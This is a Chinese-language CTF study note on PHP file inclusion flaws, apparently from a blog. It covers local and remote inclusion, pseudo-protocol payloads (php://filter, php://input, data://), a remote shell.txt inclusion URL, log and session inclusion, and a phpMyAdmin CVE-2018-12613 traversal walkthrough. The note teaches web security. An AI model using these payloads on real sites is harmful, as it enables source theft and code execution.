CTF 文件包含
一、基本概念
- 文件包含
将相同函数写入单独的文件中,需要使用时直接调用 - 文件包含漏洞
将被包含的文件设置为变量,导致客户端可以恶意调用一个恶意文件 - 相关函数
- include()
- include_once()
- require()
- require_once()
include()若没有找到文件,只报warning;require()报错停止
once说明值包含一次
包含可执行文件时会直接执行
二、本地文件包含
- 包含的实现
包含的时候,不一定要包含.php文件,只要包含一块完整的php代码,例如a.jpg,内容为<?php phpinfo();?> - 具体场景
由于被包含的文件类型多种多样,因此在实现的时候,重点在于找到可控文件- 比如说能够上传图片,就去传一个带完整php代码的图片文件,或者是将代码文件改后缀
- 压缩包使用伪协议
三、远程文件包含
- 远程包含的条件
- allow_url_fopen
- allow_url_include
[http|https|ftp]://www.bbb.com/shell.txt
若后缀名写死,可以使用?绕过
例如www.bbb.com/shell.txt?a.php伪协议
- php归档
- phar://archive.zip/file.txt
- zip://archive.zip#dir/file.txt(#有时需要替换为%23)
- 利用php流
php://filter是一种元封装器,用于数据流打开筛选过滤的应用。对于一体式的文件函数非常有用,类似readfile()、file()和file_get_contents()
?file=php://filter/convert.base64-encode/resource=index.phpphp://input
利用条件:- 1、allow_url_include=On
- 2、对allow_url_fopen不做要求
php://input可以读取没有处理过的POST数据
- data协议
include('data://text/plain;base64,cGhwaW5mbygpCg==');
- php归档
四、具体场景
日志文件
web服务器会将请求写入到日志文件中,比如说apache。当用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在/var/log/apahce2/- session
登录注册类型要么sql注入要么session文件包含- php默认生成的Session文件往往存在/tmp目录下
- 文件名为sess_PHPSESSID
- session.upload_progress.enabled这个参数在php.ini默认开启,如果不是Off,就会在上传过程中生成上传进度文件,它的储存文件路径可以在phpinfo获取到
五、补充
CVE-2018-12613Phpmyadmin后台 任意文件包含漏洞复现
checkPageValidity
//%253f是?号的二此url编码
urlcode将$page解码后是db_sql.php?/../../test.php 再以?分割取出来前面的字符串为index.php,$whitelist中有index.php所以会进入最后一个if区间return true
前面5个if都符合后会包含$_REQUEST['target'],target值会被解析成db_sql.php%3f/../../test.txt,因为php会前面db_sql.php%3f当成目录,所以要多加一个../来跨出目录
CTF 文件包含的更多相关文章
- CTF 文件包含与伪协议
正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...
- 一道内部ctf文件包含题
拿到题目 在burp里看下 拿到源码 很明显是一道文件包含题目,包含cookie里的值,于是构造Cookie:language=chinese试试 文件变成中文的了,说明中文语言进行了包含并替换 ...
- CTF文件包含
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); s ...
- “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)
题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...
- 实战经验丨CTF中文件包含的技巧总结
站在巨人的肩头才会看见更远的世界,这是一篇技术牛人对CTF比赛中文件包含的内容总结,主要是对一些包含点的原理和特征进行归纳分析,并结合实际的例子来讲解如何绕过,全面细致,通俗易懂,掌握这个新技能定会让 ...
- 百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。
题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打 ...
- CTF PHP文件包含--session
PHP文件包含 Session 首先了解一下PHP文件包含漏洞----包含session 利用条件:session文件路径已知,且其中内容部分可控. 姿势: php的session文件的保存路径可以在 ...
- 【CTF WEB】文件包含
文件包含 题目要求: 请找到题目中FLAG 漏洞源码 <meta charset='utf-8'> <center><h1>文件阅读器</h1>< ...
- i春秋——“百度杯”CTF比赛 十月场——GetFlag(md5碰撞、文件包含、网站绝对路径)
需要提交的captcha满足等式,肯定就是MD5碰撞了 附上脚本 import hashlib def func(md5_val): for x in range(1,100000000): md5_ ...
随机推荐
- python中format函数用于字符串的格式化
python中format函数用于字符串的格式化 通过关键字 print('{名字}今天{动作}'.format(名字='陈某某',动作='拍视频'))#通过关键字 grade = {'name' : ...
- 用cmake构建gtk程序
情况说明 先前已经在windows下基于GDI实现了一个简陋的imshow:基于GDI的imshow:使用stb_image读取图像并修正绘制.考虑跨平台,也考虑万一某天M$不让我们用盗版系统了,还是 ...
- springboot2.1.3使用mvn site遇到的坑及解决方案
本人要使用mvn site命令生成一些项目报告,如:***.html文件,但是在命令运行时,时常报如下错误: 一开始还以为是 jar包冲突引起的,把相关依赖引用的jackson-module-scal ...
- 什么影响了mysql的性能-存储引擎层
5.6版本以前默认是MyISam存储引擎,5.6版本之后默认支持的Innodb存储引擎,这两种也是最常用的. 存储引擎层 MyISAM 5.5之前版本默认存储引擎 存储引擎表由MYD和MYI组成 特性 ...
- JSON的Go解析
JSON(Javascript Object Notation)是一种轻量级的数据交换语言,以文字为基础,具有自我描述性且易于让人阅读.尽管JSON是Javascript的一个子集,但JSON是独立于 ...
- OpenStack云计算简介
1. 云计算的发展 云计算是IT技术不断发展的产物. 要理解云计算,需要对IT系统架构的发展过程有所认识. IT系统架构的发展到目前为止大致可以分为3个阶段: 1> 物理机架构 这一阶段,应用部 ...
- Windows与Linux之间海量文件的传输与Linux下大小写敏感问题
Windows与Linux之间海量文件的传输与Linux下大小写敏感问题 mount.cifs 支持通过网络文件系统挂载,不过需要安装cifs-utils,也可通过mount -t cifs挂载,详细 ...
- 移动端媒体查询CSS3适配规则
该媒体查询适配规则是以UI设计图750p宽度为版本的,比如PS量的是450px,在书写时写 (450rem/2/15). @media (min-width:240px) and (max-width ...
- Django项目中使用plupload插件实现上传图片功能
首先下载plupload插件放在static静态文件下面,官方地址:https://www.plupload.com/ 项目根目录下创建media文件夹用来存放上传的图片,配置settings文件,添 ...
- 【POJ3714】Raid:平面最近点对
Description After successive failures in the battles against the Union, the Empire retreated to its ...